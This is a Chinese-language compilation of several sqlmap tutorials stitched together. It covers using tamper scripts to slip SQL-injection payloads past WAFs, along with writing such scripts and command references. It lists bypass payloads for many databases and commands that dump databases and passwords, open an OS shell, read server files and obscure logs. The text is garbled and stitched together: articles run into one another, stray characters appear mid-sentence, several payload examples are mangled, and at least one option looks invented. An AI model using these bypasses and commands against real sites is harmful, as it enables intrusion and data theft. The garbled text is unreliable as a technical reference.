sqlmap中tamper的套用编写
sqlmap 用法

sqlmap 用法SQLmap 是一个基于Python 开发的自动化SQL 注入工具,可以自动扫描并发现网站SQL 注入漏洞,进而进行攻击,获取目标站点的敏感信息。
SQLmap 的用法如下:1. 下载SQLmap 并解压缩。
2. 打开命令行,进入到SQLmap 的目录下。
3. 执行以下命令:./sqlmap.py -u " dbs其中,`-u` 参数指定了目标网站的URL,`dbs` 参数是告诉SQLmap 爆破网站的数据库名称。
4. SQLmap 即会自动扫描目标站点,探测是否存在SQL 注入漏洞,并且提供一个菜单让用户选择要进行哪些操作。
下面是一些常用的SQLmap 命令:- `-u` 用来指定目标URL。
- `dbs` 用来指定要爆破的数据库名称。
- `current-db` 用来显示当前所处的数据库名称。
- `tables` 用来显示指定数据库中的所有表。
- `columns` 用来显示指定表中的所有列。
- `dump` 用来下载指定数据库中的所有数据。
- `-p` 用来指定要测试的参数。
- `technique` 用来指定使用的SQL 注入技术。
- `level` 用来指定SQL 注入攻击的强度级别。
- `user-agent` 用来指定HTTP User-Agent。
- `cookie` 用来指定HTTP Cookie。
- `tamper` 用来指定修改SQL 注入攻击载荷的方法。
以上命令只是SQLmap 的一部分,完整的命令列表可以查看SQLmap 的帮助文档。
在使用SQLmap 时,需要谨慎操作,以免不小心删除或修改了网站的数据。
sqlmap中tamper的简介

sqlmap中tamper的简介⼀、SQLMap中tamper的简介1.tamper的作⽤使⽤SQLMap提供的tamper脚本,可在⼀定程度上避开应⽤程序的敏感字符过滤、绕过WAF规则的阻挡,继⽽进⾏渗透攻击。
部分防护系统的缩写:WAF:Web应⽤程序防⽕墙,Web Application FirewallIPS:⼊侵防御系统, Intrusion Prevention SystemIDS:⼊侵检测系统,Intrusion Detection System2.tamper⽤法--tamper=TAMPER 利⽤给定的脚本进⾏篡改注⼊数据。
其⽤法可举例说明:python sqlmap.py -u "http://.../?uname=admin&pwd=pass123"--level=5--risk=3 -p "uname" --tamper=xxx.py表⽰对指定的url地址,以所设置的level等级、risk等级,并采⽤选定的tamper篡改脚本对参数“uname”进⾏检测⼆、适配不同数据库类型的测试tamper当使⽤SQLMap篡改脚本执⾏渗透测试时,⾯对众多tamper可能会⽐较困惑,⼀开始不晓得该使⽤哪些脚本来测试。
有的脚本是适⽤于常⽤数据库的SQL注⼊攻击,有的适⽤于特定类型的数据库,还有的适⽤于某种数据库的特定版本范围。
为了相对明确的了解tamper的使⽤场景,把tamper的使⽤类型和范围作⼀下划分,具体如下:SQLMap⽬录中的所有tamper scripttamper = apostrophemask , apostrophenullencode , appendnullbyte , base64encode , between , bluecoat , chardoubleencode , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull , modsecurityversioned , modsecurityzeroversioned , multiplespaces ,nonrecursivereplacement , percentage , randomcase , randomcomments , securesphere , space2comment , space2dash , space2hash , space2morehash ,space2mssqlblank , space2mssqlhash , space2mysqlblank , space2mysqldash , space2plus , space2randomblank , sp_password , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords通⽤的测试tampertamper = apostrophemask , apostrophenullencode , base64encode , between , chardoubleencode , charencode , charunicodeencode , equaltolike , greatest , ifnull2ifisnull , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2plus , space2randomblank , unionalltounion ,unmagicquotesMSSQL(Microsoft SQL Servre)tamper = between , charencode , charunicodeencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , sp_password , space2comment , space2dash , space2mssqlblank , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotesMySQLtamper = between , bluecoat , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull ,modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2hash , space2morehash , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords , xforwardedfor Oracletamper = between , charencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , randomcase , securesphere , space2comment , space2plus , space2randomblank , unionalltounion , unmagicquotes , xforwardedforMicrosoft Accesstamper = between , bluecoat , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull ,modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2hash , space2morehash , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords PostgreSQLtamper=between , charencode , charunicodeencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2plus , space2randomblank , xforwardedfortamper适⽤的数据库类型&版本(*) 可能适⽤于所有版本(-) 不适⽤TAMPER MySQL MSSQL Oracle PostgreSQLapostrophemask****apostrophenullencode----appendnullbyte****base64encode4,5,5.5200510g-between 5.1---bluecoat****apostrophemask9.0.320002005-9.3charunicodeencode4,5.0 and 5.5200510g8.3,8.4,9.0charencode*---commalessmid*---concat2concatws****equaltolike****greatest< 5.1---halfversionedmorekeywords 5.0 and 5.5---ifnull2ifisnull**** informationschemacomment4,5.0,5.5200510g8.3,8.4,9.0 lowercase5---modsecurityversioned5---modsecurityzeroversioned**** multiplespaces**** nonrecursivereplacement**** overlongutf8 5.1.56,5.5.112000, 2005N/A9 percentage4, 5.0,5.5200510g8.3,8.4,9.0 randomcase**** randomcomments**** securesphere4,5.0,5.5200510g8.3,8.4,9.0 space2comment----space2dash 4.0,5.0---space2hash>= 5.1.13---space2morehash-2000, 2005--space2mssqlblank**--space2mssqlhash****space2plus4,5.0,5.5200510g8.3,8.4,9.0 space2randomblank-*--sp_password**** symboliclogical**** unionalltounion**** unmagicquotes4, 5.0,5.5200510g8.3,8.4,9.0 uppercase**** varnish*---versionedkeywords>=5.1.13---versionedmorekeywords**** xforwardedfor****三、SQLMap中tamper篡改脚本的功能解释apostrophemask.py功能:对引号进⾏utf-8格式编码(%EF%BC%87)平台:All举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 apostrophenullencode.py功能:⽤⾮法的双unicode字符(%00%27)替换引号字符平台:All举例:1 AND '1'='1 ==> 1 AND %00%271%00%27=%00%271 appendnullbyte.py功能:在有效载荷结束位置加载零字节字符编码平台:Microsoft Access举例:1 AND 1=1 ==> 1 AND 1=1%00base64encode.py功能:⽤base64格式进⾏编码平台:All举例:1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==between.py功能:⽤between替换⼤于号(>)平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0举例:1 AND A > B -- ==> 1 AND A NOT BETWEEN 0 AND B --1 AND A = B -- ==> 1 AND A BETWEEN B AND B --bluecoat.py功能:对SQL语句替换空格字符为(%09),并替换"="--->"LIKE"平台:MySQL 5.1, SGOS举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1apostrophemask.py功能:⽤utf-8格式编码引号(如:%EF%BC%87)平台:All举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871charunicodeencode.py功能:对字符串进⾏Unicode格式转义编码平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/举例:SELECT FIELD%20FROM TABLE ==>%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045 charencode.py功能:采⽤url格式编码1次平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45chardoubleencode.py功能:采⽤url格式编码2次平台:All举例:SELECT FIELD FROM%20TABLE ==>%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545commalessmid.py功能:将payload中的逗号⽤ from和for代替,⽤于过滤了逗号并且是3个参数的情况平台:MySQL 5.0, 5.5举例:MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)concat2concatws.py功能:CONCAT() ==> CONCAT_WS(),⽤于过滤了CONCAT()函数的情况平台: MySQL 5.0举例:CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)equaltolike.py功能:= ==> LIKE,⽤于过滤了等号"="的情况平台:Mssql 2005、MySQL 4, 5.0 and 5.5举例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1greatest.py功能:> ==> GREATEST平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:1 AND A > B ==> 1 AND GREATEST(A, B+1)=Aa和b+1⽐较,取两者中的最⼤值为a;则a >= b+1,亦即a > bhalfversionedmorekeywords.py功能:空格 ==> /*!0 (在关键字前添加注释)平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)举例:union ==> /*!0unionifnull2ifisnull.py功能:IFNULL(A, B) ==> IF(ISNULL(A), B, A)平台:MySQL 5.0 and 5.5举例:IFNULL(1, 2) ==> IF(ISNULL(1),2,1)informationschemacomment.py功能:在 information_schema 后⾯加上 /**/ ,⽤于绕过对 information_schema 的情况retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)平台:All举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tableslowercase.py功能:将 payload ⾥的⼤写转为⼩写平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables modsecurityversioned.py功能:⽤注释来包围完整的查询语句,⽤于绕过 ModSecurity 开源 waf平台:MySQL 5.0举例:1 AND 2>1-- ==> 1 /*!30874AND 2>1*/--modsecurityzeroversioned.py功能:⽤注释来包围完整的查询语句,⽤于绕过 waf ,和上⾯类似平台:Mysql举例:1 and 2>1--+ ==> 1 /!00000and 2>1/--+multiplespaces.py功能:围绕SQL关键字添加多个空格平台:All举例:1 UNION SELECT foobar ==> 1 UNION SELECT foobarnonrecursivereplacement.py功能:关键字双写,可⽤于关键字过滤平台:All举例:1 UNION SELECT 2-- ==> 1 UNIONUNION SELESELECTCT 2--overlongutf8.py功能:转换给定的payload当中的所有字符平台:All举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1 percentage.py功能:⽤百分号来绕过关键字过滤,在关键字的每个字母前⾯都加⼀个(%)平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0举例:SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%Erandomcase.py功能:将 payload 随机⼤⼩写平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:INSERT ==> InseRtrandomcomments.py功能:在 payload 的关键字中间随机插⼊注释符 /**/ ,可⽤于绕过关键字过滤平台:Mysql举例:INSERT ==> I / ** / N / ** / SERTsecuresphere.py功能:在payload后追加特殊构造的字符串平台:All举例:1 AND 1=1 ==> 1 AND 1=1 and '0having'='0having'space2comment.py功能:⽤注释符 // 代替空格,⽤于空格的绕过平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:SELECT id FROM users ==> SELECT//id//FROM//usersspace2dash.py功能:⽤[注释符(--)+⼀个随机字符串+⼀个换⾏符]替换控制符平台:MSSQL、 SQLite举例:union select 1,2--+ ==> union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+space2hash.py功能:⽤[注释符(#)+⼀个随机字符串+⼀个换⾏符]替换控制符平台:Mysql举例:union select 1,2--+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+space2morehash.py功能:⽤多个[注释符(#)+⼀个随机字符串+⼀个换⾏符]替换控制符平台:MySQL >= 5.1.13举例:union select 1,2--+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+ space2mssqlblank.py功能:⽤随机的空⽩符替换payload中的空格blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')平台:Mssql 2000,2005举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07usersspace2mssqlhash.py功能:⽤[字符# +⼀个换⾏符]替换payload中的空格平台:MSSQL、MySQL举例:union select 1,2--+ ==> union%23%0Aselect%23%0A1,2--+space2plus.py功能:⽤加号(+)替换空格平台:All举例:SELECT id FROM users ==> SELECT+id+FROM+usersspace2randomblank.py功能:⽤随机的空⽩符替换payload中的空格平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Auserssp_password.py功能:在payload语句后添加 sp_password ,⽤于迷惑数据库⽇志(Space ==> sp_password)平台:Mssql举例:1 AND 9227=9227-- ==> 1 AND 9227=9227-- sp_passwordsymboliclogical.py功能:⽤ && 替换 and ,⽤ || 替换 or ,⽤于这些关键字被过滤的情况平台:All举例:1 and 1=1 ==> 1 %26%26 1=11 or 1=1 ==> 1 %7c%7c 1=1unionalltounion.py功能:⽤ union select 替换union all select平台:All举例:union all select 1,2--+ ==> union select 1,2--+unmagicquotes.py功能:⽤宽字符绕过 GPC addslashes平台:All举例:1' and 1=1 ==> 1%df%27 and 1=1--uppercase.py功能:将payload中的⼩写字母转为⼤写格式平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0举例:insert ==> INSERTvarnish.py功能:添加⼀个HTTP头“ X-originating-IP ”来绕过WAF平台:headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload举例:Allversionedkeywords.py功能:对⾮函数的关键字进⾏注释平台:MySQL 4.0.18, 5.1.56, 5.5.11举例:1 union select user() ==> 1/!UNION//!SELECT/user()versionedmorekeywords.py功能:对每个关键字进⾏注释处理平台:MySQL 5.1.56, 5.5.11举例:1 union select user() ==> 1/!UNION//!SELECT/user()xforwardedfor.py功能:添加⼀个伪造的HTTP头“ X-Forwarded-For ”来绕过WAF平台:All举例:headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload。
【Web攻防】第二十六节 Sqlmap Tamper脚本分析(MSSQL)

Sqlmap Tamper脚本分析 MSSQL
课程内容
1. 适合于MSSQLTamper脚本 2. 脚本分析方法
3. 脚本分析过程中的学习 4. 根据名称判断作用
01
适合于MSSQLTamper脚本
适合于MSSQLTamper脚本 支持MSSQL的Tamper脚本,也可能支持其他类型分析过程重点:如果只是使用直接看注释即可,需要二次开发就需要修改payload内容。
03
脚本分析过程中的学习
分析Tamper脚本可以学习绕过技巧以及其他技巧,例如space2mssqlblank.py
04
根据名称判断作用
根据名称判断作用
总结
1. 适合于MSSQLTamper脚本 2. 脚本分析方法
3. 脚本分析过程中的学习 4. 根据名称判断作用
谢谢
欢迎关注
sqlmap tamper aes编码

sqlmap tamper aes编码在SQL Injection测试中,SQLMap是一个常用的工具,它可以自动化地检测和利用SQL注入漏洞。
在使用SQLMap时,可以通过使用tamper脚本来对payload进行变形,以绕过WAF或其他安全机制的检测。
关于AES编码的tamper脚本,你可以创建一个Python脚本来实现。
以下是一个示例的AES编码tamper脚本:```pythonimport base64from Crypto.Cipher import AESclass AESTamper(object):def __init__(self, key):self.key = key # AES加密密钥def encode(self, payload):cipher = AES.new(self.key, AES.MODE_ECB)padded_payload = self._pad(payload)encrypted_payload = cipher.encrypt(padded_payload)encoded_payload =base64.b64encode(encrypted_payload).decode('utf-8')return encoded_payloaddef _pad(self, s):block_size = AES.block_sizepadding_length = block_size - (len(s) % block_size)padded_s = s + padding_length * chr(padding_length)return padded_skey = b'Your_AES_key' # AES加密密钥tamper = AESTamper(key)payload = "SELECT * FROM users WHERE id=1"encoded_payload = tamper.encode(payload)print(encoded_payload)```在上面的脚本中,我们使用了`pycryptodome`库来实现AES编码功能。
【Web攻防】第二十六节 Sqlmap Tamper脚本编写介绍

02
Tamper函数介绍
tamper是整个脚本的主体。主要用于修改原本的payload。
03
dependencies函数介绍
dependencies函数,就tamper脚本支持/不支பைடு நூலகம்使用的环境进行声明
04
简单案例
服务器代码: <?php $id = $_GET["id"]; $id = trim($id,"union"); echo "select * from user where id =' " . $id . "'"; ?>
Sqlmap 视频课程
Sqlmap Tamper脚本编写介绍
课程内容
1. Tamper脚本结构介绍 2. Tamper函数介绍
3. dependencies函数介绍 4. 简单案例
01
Tamper脚本结构介绍
Tamper脚本结构介绍
sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload 进行特定的更改以绕过WAF。
Tamper脚本:
def tamper(payload, **kwargs): return payload.replace('union','uniounionn')
针对这样情况Sqlmap双写绕过。
总结
1. Tamper脚本结构介绍 2. Tamper函数介绍
3. dependencies函数介绍 4. 简单案例
谢谢
欢迎关注
sqlmap使用手册

sqlmap使⽤⼿册sqlmap使⽤⼿册输⼊“python sqlmap.py --version”检查sqlmap是否安装成功输⼊“python sqlmap.py -hh”, “-hh”参数⽤于查看sqlmap的使⽤说明输⼊“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数⽤于指定注⼊点的URL。
输⼊“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”⽤于列举数据库。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”⽤于指定数据库名称,“--tables”参数⽤于列举表。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”⽤于指定表名称,“--columns”参数⽤于指定列出表中字段。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”⽤于指定字段名称,参数“—dump”⽤于导出数据。
--os-shell--file-read "/user/www/flag.php官⽅命令sqlmap -r http.txt #http.txt是我们抓取的http的请求包sqlmap -r http.txt -p username #指定参数,当有多个参数⽽你⼜知道username参数存在SQL漏洞,你就可以使⽤-p指定参数进⾏探测sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该⽹站需要登录时,探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填⼊sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库⽤户名的密码sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前⽤户是否有管理员权限sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员⾓⾊,仅适⽤于oracle数据库的时候sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进⾏过滤,⽤/**/代替空格sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最⾼级别。
sqlmaptamper脚本备忘录与tamper脚本编写
sqlmaptamper脚本备忘录与tamper脚本编写查看sqlmap全部脚本$ python sqlmap.py --list-tampers使⽤⽅法--tamper=TAMPER2019.9更新后翻译* apostrophemask.py-⽤其UTF-8全⾓字符替换撇号(')(例如'->%EF%BC%87)* apostrophenullencode.py-⽤⾮法的双unicode替换撇号(')(例如'->%00%27)* appendnullbyte.py-在有效载荷的末尾附加(访问)NULL字节字符(%00)* base64encode.py-Base64对给定有效载荷中的所有字符进⾏编码* between.py- 替换较⼤⽐运算符('>')带有'NOT BETWEEN 0 AND#',等于运算符('=')与'BETWEEN#AND#'* bluecoat.py-⽤有效的随机空⽩字符替换SQL语句后的空格字符。
然后⽤运算符LIKE替换字符'='* chardoubleencode.py-双重URL编码给定有效负载中的所有字符(未处理已编码)(例如SELECT->%2553%2545%254C%2545%2543%2554)* charencode.py-URL编码中的所有字符给定的有效载荷(不处理已经编码的)(例如SELECT->%53%45%4C%45%43%54)* charunicodeencode.py-Unicode-URL编码给定的有效载荷中的所有字符(不处理已经编码的)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)* charunicodeescape.py-Unicode转义给定有效负载中的未编码字符(未处理已编码的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)* commalesslimit.py-⽤'LIMIT N OFFSET M'替换(MySQL)实例,例如'LIMIT M,N'* commalessmid.py-⽤'MID(A FROM B FOR C)'替换(MySQL)实例,例如'MID(A,B,C)'* commentbeforeparentheses.py-在括号前加(内联)注释(例如((-> / ** /()* concat2concatws.py-⽤'CONCAT_WS(MID(CHAR(0),0,0),A,B)' 等价物(相当于)替换(MySQL)实例,例如'CONCAT(A,B)' 。
sqlmap tamper用法
sqlmap tamper用法
sqlmaptamper用法是一种用来绕过特定WAF保护的技术。
它通过改变SQL语句的结构,来绕过WAF的检查。
sqlmap tamper是一种非常强大的工具,可以用来检测和利用SQL注入漏洞。
下面是一些使用sqlmap tamper的技巧:
1. 通过--tamper参数来指定tamper脚本,如:
--tamper=space2comment
2. 使用多个tamper脚本组合来绕过WAF的多个保护层,如:--tamper=space2comment,apostrophemask,randomcase
3. 自定义tamper脚本,使用Python编写,可以绕过特定的WAF 保护。
4. 将tamper脚本打包成zip文件,然后使用
--tamper=zipfile://path/to/zipfile来指定。
5. 使用tamper脚本的同时,可以使用其他参数,如--level和--risk来增加漏洞检测的准确性和速度。
总之,sqlmap tamper是一种非常有用的技术,可以帮助发现和利用SQL注入漏洞。
但是,需要注意的是,使用tamper脚本也可能绕过合法的WAF保护,从而导致系统被攻击。
因此,在使用tamper 脚本时,需要谨慎和审慎。
- 1 -。
sqlmap绕waf参数
sqlmap绕waf参数SQLMap是一款自动化的SQL注入工具,但在遇到Web应用程序防火墙(Web Application Firewall,WAF)时,可能会遇到一些挑战。
WAF是一种网络安全设备,用于监控、过滤和阻止潜在的恶意网络流量,包括SQL注入攻击。
尽管WAF的目的是保护Web应用程序免受SQL注入等攻击的侵害,但有时候我们需要通过绕过WAF来进行SQL注入测试。
本文将介绍一些绕过WAF的常见技术和策略。
1.伪造User-Agent:WAF通常会检测到常见的SQL注入工具的User-Agent,例如SQLMap的User-Agent。
通过修改User-Agent,可以欺骗WAF,伪装成普通的浏览器请求。
可以使用SQLMap的`--random-agent`选项来随机生成各种User-Agent。
2.增加延时:WAF有时会检测到异常的查询延迟,并将其识别为可能的攻击。
通过增加查询的延时,可以使注入攻击看起来更像是正常的查询操作。
SQLMap的`--delay`选项允许我们指定查询延迟的时间。
3.分割查询:WAF通常会检测到并阻止包含多个查询语句的请求。
SQLMap提供了`--batch`选项,可以将查询分割成多个单独的请求,绕过WAF的检测。
4.编码绕过:WAF可能会对特殊字符进行检测和过滤。
可以使用URL编码、十六进制编码或Unicode编码等方式对注入载荷进行编码,以绕过WAF的检测。
SQLMap的`--tamper`选项提供了多种编码和混淆技术。
5.使用短语绕过:WAF可能会检测常见的SQL关键词和注入语句。
可以使用SQL注入短语替代常见的关键词,如使用`1=1`替代`or 1=1`,以绕过WAF的检测。
6.直接绕过:有时候可以通过绕过WAF的姿势来注入SQL语句。
常见的绕过技术包括使用注释符绕过,如将`--`作为SQL注释符来注释掉WAF检测到的关键词。
7.错误绕过:利用WAF返回的错误信息可以帮助我们绕过阻止注入攻击的规则。
sqlmap master工具 新手使用方法
sqlmap master工具新手使用方法SQLMap Master工具新手使用方法SQLMap Master是一款广泛使用的SQL注入检测和利用工具。
对于新手来说,熟悉其使用方法是非常重要的。
本文将详细介绍SQLMap Master的各种使用方法。
安装SQLMap Master1.首先,从SQLMap官方GitHub仓库下载SQLMap Master的源代码。
2.解压下载的压缩包到任意目录。
3.进入解压后的目录,在终端中输入python,如果没有报错提示,则表示安装成功。
基本使用方法1.打开终端,进入SQLMap Master的安装目录。
2.输入命令python -u [目标URL],其中[目标URL]是要进行注入检测的网站URL。
3.SQLMap Master将自动进行注入检测,并显示检测结果。
SQLMap Master有许多参数选项,可以根据具体需求进行定制化配置。
基本选项•-u [URL]:指定目标URL。
•--data [DATA]:指定POST请求的数据。
•--cookie [COOKIE]:指定Cookie。
•--level [LEVEL]:指定注入检测的等级。
•--threads [THREADS]:指定使用的线程数。
技巧性选项•--dbms [DBMS]:指定目标数据库类型。
•--os [OS]:指定目标操作系统类型。
•--tamper [TAMPER]:指定注入检测时使用的特殊技巧。
高级功能SQLMap Master还提供了一些高级功能,可以进一步探测和利用注入漏洞。
数据库探测•--dbs:列举目标数据库的所有数据库。
•--dump:获取目标数据库的数据。
文件系统操作•--file-read [FILE]:读取目标服务器上指定文件的内容。
•--file-write [FILE]:在目标服务器上写入指定文件。
使用示例以下是SQLMap Master常用功能的使用示例。
基本检测python -u数据库探测python -u --dbs数据获取python -u -D dbname --dump文件系统操作python -u --file-read "/etc/passwd"总结SQLMap Master是一款功能强大的SQL注入检测和利用工具。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
SQLmap中tamper的套用与编写导语:tamper脚本不全,没有想要的功能,那就套用别人的思路改一个吧,不行,那就自己编一个………为了说明tamper的结构,让我们从一个最简单的例子开始为了说明tamper的结构,让我们从一个最简单的例子开始# sqlmap/tamper/escapequotes.pyfromlib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():passdef tamper(payload, **kwargs):returnpayload.replace("'", "\\'").replace('"', '\\"')不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
priority定义脚本的优先级,用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用/不适用的范围,可以为空。
tamper是主要的函数,接受的参数为payload和**kwargs返回值为替换后的payload。
比如这个例子中就把引号替换为了\\'。
我们在选一个脚本,该脚本为base64encode.py,查看脚本中的tamper内容:可以看到内容非常简单,将payload的内容内容做了base64编码然后直接返回。
Tamper 有两个参数第一个参数payload即为传入的实际要操作的payload,第二个参数**kwargs 为相关httpheader。
譬如你想插入或则修改header的时候可以用到。
逻辑流程弄清楚之后,很容易编写自己的tamper脚本了。
以使用%a0替换空格的脚本为例,在tamper目录下创建space2ao.py脚本,稍微修改下脚本:在tamper里面再找一个插件,我们来分析分析他的构成。
#!/usr/bin/env python"""Copyright (c) 2006-2016 sqlmap developers (/) See the file 'doc/COPYING' for copying permission"""fromlib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):"""Replaces space character (' ') with plus ('+')Notes:* Is this any useful? The plus get'surl-encoded by sqlmap engine invalidating the query afterwards* This tamper script works against all databases>>>tamper('SELECT id FROM users')'SELECT+id+FROM+users'"""retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefori in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += "+"continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += "+"continueretVal += payload[i]returnretValReplaces space character (' ') with plus ('+')写的是他的注释说的是替换空格为+绕过空格过滤规则。
下面我们看他的编写部分。
fori in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += "+"continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += "+"continueretVal += payload[i]这里上述代码第一行xrange(len(payload)会返回一个迭代序列,可以用来实现循环。
if payload.isspace(): 判断是否有空格,如果有那就继续执行下面的语句。
然后继续使用elif 语句进行判断。
Payload值如果存在空格,并且不是双引号,也不是单引号,继续执行下面的语句进行替换。
